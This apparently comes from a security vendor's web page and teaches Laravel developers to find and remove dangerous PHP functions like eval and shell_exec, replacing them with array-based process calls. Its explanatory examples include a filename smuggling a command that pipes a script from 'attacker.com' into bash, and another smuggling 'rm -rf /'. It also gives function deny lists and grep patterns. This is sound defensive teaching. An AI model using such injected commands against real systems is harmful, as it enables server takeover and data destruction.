Laravel Dangerous Function Calls: How to Eliminate eval, shell_exec, and system from Your Codebase

Functions like eval(), shell_exec(), system(), and proc_open() execute arbitrary code. If reachable from user input, they give attackers full server access.

Critical severity Application Security Updated 2026-05-01 Markdown

Dangerous sink functions are PHP functions that execute operating system commands or raw PHP code. Functions like eval(), shell_exec(), system(), and proc_open() bridge your application and the underlying OS. They exist because legitimate use cases exist: generating PDFs with wkhtmltopdf, processing images with ImageMagick, running git commands. The vulnerability emerges when user-controlled input reaches these functions.

When an attacker finds a path from request input to a dangerous sink, they inject shell metacharacters to execute arbitrary commands. A filename like report.pdf becomes report.pdf; curl http://attacker.com/shell.sh | bash once semicolons are allowed. The attacker's command runs with the web server's privileges, granting access to read files, establish persistence, exfiltrate data, or pivot to internal systems.

Remote code execution through dangerous sinks is the highest-severity vulnerability class. Real applications have been fully compromised through image processing pipelines, shell-based PDF generators, and deployment trigger endpoints. The Symfony Process component — which Laravel uses internally — prevents shell metacharacter injection by accepting command arguments as arrays, bypassing the shell entirely. This should always be the preferred approach when system command execution is genuinely necessary.

The Problem

Dangerous sink functions — eval(), shell_exec(), system(), exec(), proc_open(), passthru(), and popen() — execute arbitrary system commands or PHP code. If any user input reaches these functions without strict sanitization, an attacker can execute any command on your server: reading files, installing backdoors, or pivoting to other systems. Even indirect paths through variable concatenation or string interpolation create exploitable attack vectors.

How to Fix

  1. 1

    Find all dangerous function calls in your codebase

    Search for dangerous functions across your project:

    grep -rn 'eval\|shell_exec\|system\|exec\|proc_open\|passthru\|popen\|pcntl_exec' app/ routes/ resources/

    Also check for backtick operator usage:

    grep -rn '`.*\$' app/

    Document each occurrence and trace whether user input can reach it.

  2. 2

    Replace with safe Laravel alternatives

    Laravel provides safe alternatives for most use cases:
    // Instead of shell_exec('git log')
    use Symfony\Component\Process\Process;
    $process = new Process(['git', 'log', '--oneline', '-10']);
    $process->run();
    // Instead of exec('convert image.png ...')
    use Intervention\Image\Facades\Image;
    Image::make($path)->resize(300, 200)->save();
    // Instead of eval() for dynamic logic
    use a strategy pattern, config-driven behavior, or Blade::render()
    The Symfony Process component is preferred because it uses array arguments, preventing shell injection by design.
  3. 3

    If you must use process execution, sanitize strictly

    When shell commands are unavoidable, never pass user input directly:

    // DANGEROUS
    shell_exec('ffmpeg -i ' . $request->input('file'));
    // SAFE — use escapeshellarg for each argument
    $file = escapeshellarg($validated['file']);
    shell_exec('ffmpeg -i ' . $file);
    // SAFEST — use Symfony Process with array arguments
    use Symfony\Component\Process\Process;
    $process = new Process(['ffmpeg', '-i', $validated['file']]);
    $process->setTimeout(60);
    $process->run();
    Array-based process execution prevents shell metacharacter injection entirely.
  4. 4

    Disable dangerous functions in php.ini

    On production servers, disable functions you never need:

    ; php.ini disable_functions = eval,exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec

    Note: Some packages legitimately need exec() or proc_open() (like Symfony Process). Only disable functions your application does not require. Test thoroughly after making changes.

How to Verify

Run the Stackshield scanner:

php artisan stackshield:scan --check=SS003

Manually verify by searching for dangerous functions:

grep -rn 'eval(\|shell_exec(\|system(' app/ --include='*.php'

Any remaining occurrences should be documented with justification and wrapped in strict input validation.

Prevention

Add a PHPStan or Psalm rule to flag dangerous function calls in CI. Use Symfony Process for all external command execution. Never concatenate user input into shell commands. Use StackShield to continuously scan for new dangerous sink introductions.

Frequently Asked Questions

Is escapeshellarg() enough to prevent command injection?

escapeshellarg() prevents most injection attacks by wrapping the argument in single quotes and escaping existing quotes. However, it has edge cases on Windows and doesn't protect against all attack vectors. The Symfony Process component with array arguments is the safest approach.

What about eval() in Blade templates?

Blade compiles to PHP with eval-like behavior internally, but this is safe because template code is developer-controlled. The danger is using eval() directly in controllers or services with user-supplied strings. Never do eval($request->input('code')).

Can attackers exploit shell_exec() if I only pass a filename?

Yes. A filename like "file.png; rm -rf /" contains a shell metacharacter (;) that terminates the first command and starts a new one. Always use escapeshellarg() or array-based Process execution, even for seemingly safe values like filenames.

Is Artisan::call() considered a dangerous sink?

No. Artisan::call() invokes Laravel console commands within the PHP process and does not execute OS shell commands. It is safe to call dynamically as long as the command name itself is validated against an allowlist of known commands, preventing an attacker from triggering arbitrary artisan commands.

Can I use proc_open() safely?

Yes, with array-based command arguments. Pass the command as an array: proc_open(["ffmpeg", "-i", $input], ...) instead of a shell string. Array-based invocation bypasses the shell entirely, preventing metacharacter injection regardless of what the input contains. The Symfony Process component wraps this pattern and is the recommended approach.

What is the difference between command injection and code injection?

Command injection occurs through shell-executing functions (shell_exec, system) where attackers insert shell metacharacters to run OS commands. Code injection occurs through eval() where attackers inject PHP code that executes in the PHP process. Both result in arbitrary execution but through different mechanisms. eval() is almost never legitimate in application code; shell-executing functions can be safe when used with array-based Process execution.

Related Security Terms

Free security check

Is your Laravel app exposed right now?

34% of Laravel apps we scan have at least one critical issue. Most teams don't find out until something breaks. Our free scan checks your live application in under 60 seconds.

18% have debug mode on
72% missing security headers
12% have exposed .env
Scan My App Free No signup required. Results in 60 seconds.